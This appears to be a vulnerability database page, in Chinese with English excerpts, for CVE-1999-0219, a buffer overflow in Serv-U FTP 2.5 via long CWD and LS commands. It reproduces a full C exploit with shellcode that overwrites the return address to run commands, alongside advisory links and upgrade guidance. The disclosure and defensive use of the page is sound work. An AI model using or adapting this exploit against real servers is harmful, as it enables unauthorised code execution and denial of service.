CVE-1999-0219
CVSS7.8
发布时间 :1997-07-01 00:00:00
修订时间 :2016-10-17 21:59:05
NMCOE    

[原文]Buffer overflow in FTP Serv-U 2.5 allows remote authenticated users to cause a denial of service (crash) via a long (1) CWD or (2) LS (list) command.


[CNNVD]Cat Soft Serv-U缓冲区溢出漏洞(CNNVD-199707-011)

        FTP Serv-U 2.5版本存在缓冲区溢出漏洞。溢出认证用户可以借助一个长(1)CWD或者(2)LS(list)命令导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 7.8 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0219
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0219
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199707-011
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=ntbugtraq&m=92574916930144&w=2
(UNKNOWN)  NTBUGTRAQ  19990503 Buffer overflows in FTP Serv-U 2.5
http://marc.info/?l=ntbugtraq&m=92582581330282&w=2
(UNKNOWN)  NTBUGTRAQ  19990504 Re: Buffer overflows in FTP Serv-U 2.5
http://www.securityfocus.com/bid/269
(UNKNOWN)  BID  269
http://xforce.iss.net/xforce/xfdb/205
(UNKNOWN)  XF  ftp-servu(205)

- 漏洞信息

Cat Soft Serv-U缓冲区溢出漏洞
高危 缓冲区溢出
1997-07-01 00:00:00 2006-11-16 00:00:00
远程  
        FTP Serv-U 2.5版本存在缓冲区溢出漏洞。溢出认证用户可以借助一个长(1)CWD或者(2)LS(list)命令导致服务拒绝。

- 公告与补丁

        Cat Soft has made an upgrade available which solves this and other issues. It can be obtained at:
        http://www.ftpserv-u.com/download.cfm

- 漏洞信息 (19218)

Cat Soft Serv-U 2.5 Buffer Overflow Vulnerabilities (EDBID:19218)
linux remote
1999-05-03 Verified
0 Arne Vidstrom
N/A [点击下载]
source: http://www.securityfocus.com/bid/269/info

The Serv-U FTP server versions 2.5 and earlier are vulnerable to multiple buffer overflows. This can result in a denial of service and at worst in arbitrary code being executed on the system.

The vulnerabilities are in the CWD and LS FTP commands if they are passed an argument a string longer than 155 characters. 

The following exploit is know to work under Serv-U 2.5 under Windows 98. Changing the parameter may make it work under other environments. 

/*=============================================================================
   FTP Serv-U Version 2.5 Exploit for Windows98
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>

#define  BUFSIZE    9000
#define  FTP_PORT   21
#define  RETADR     164
#define  CODEOFS    200
#define  FSTACKOFS  174
#define  JMPOFS     6
#define  MAXUSER    100
#define  MAXPASS    100
#define  EIP        0xbff7a027
#define  FAKESTACK  0x80050101
#define  NOP        0x90
#define  JMPS       0xeb

unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.notepad.exe";


void    sendcmd(int sockfd,char *packetbuf)
{
        int     i;

        write(sockfd,packetbuf,strlen(packetbuf));
        while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
            packetbuf[i]=0;
            if(strchr(packetbuf,'\n')!=NULL) break;
        }
}

int     main(int argc,char *argv[])
{
        struct hostent      *hs;
        struct sockaddr_in  cli;
        char                packetbuf[BUFSIZE+3000],buf[BUFSIZE];
        char                user[MAXUSER],pass[MAXPASS];
        int                 sockfd,i,fakestack,ip,ebp,ins;

        if (argc<2){
            printf("usage\n %s HostName {[username] [password]}\n",argv[0]);
            exit(1);
        }else if (argc==4){
            strncpy(user,argv[2],MAXUSER-1); 
            strncpy(pass,argv[3],MAXPASS-1);
            user[MAXUSER-1]=0; pass[MAXPASS-1]=0;
        }else{
            strcpy(user,"anonymous");
            strcpy(pass,"hoge@hohoho.com");
        }
        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_port = htons(FTP_PORT);
        if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if ((hs=gethostbyname(argv[1]))==NULL){
                printf("Can not resolve specified host.\n");
                exit(1);
            }
            cli.sin_family = hs->h_addrtype;
            memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
        }

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
            perror("socket");  exit(0);
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
            perror("connect"); exit(0);
        }
        while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
            packetbuf[i]=0;
            if(strchr(packetbuf,'\n')!=NULL) break;
        }

        strcat(exploit_code,cmdbuf);
        memset(buf,NOP,BUFSIZE);

        fakestack=FAKESTACK;
        for (i=0;i<FSTACKOFS;i+=4){
            buf[i  ]=fakestack&0xff;
            buf[i+1]=(fakestack>>8)&0xff;
            buf[i+2]=(fakestack>>16)&0xff;
            buf[i+3]=(fakestack>>24)&0xff;
        }
        ip=EIP;
        buf[RETADR  ]=ip&0xff;
        buf[RETADR+1]=(ip>>8)&0xff;
        buf[RETADR+2]=(ip>>16)&0xff;
        buf[RETADR+3]=(ip>>24)&0xff;
        buf[RETADR+4]=JMPS;
        buf[RETADR+5]=JMPOFS;
        memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code));
        buf[BUFSIZE]=0;

        sprintf(packetbuf,"user %s\r\n",user);
        sendcmd(sockfd,packetbuf);
        sprintf(packetbuf,"pass %s\r\n",pass);
        sendcmd(sockfd,packetbuf);
        sprintf(packetbuf,"cwd %s\r\n",buf);
        sendcmd(sockfd,packetbuf);

        close(sockfd);
}
		

- 漏洞信息

957
Serv-U FTP Server CWD Command Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public

- 漏洞描述

- 时间线

1997-07-01 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 3.1 (or possibly 2.5 a) or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站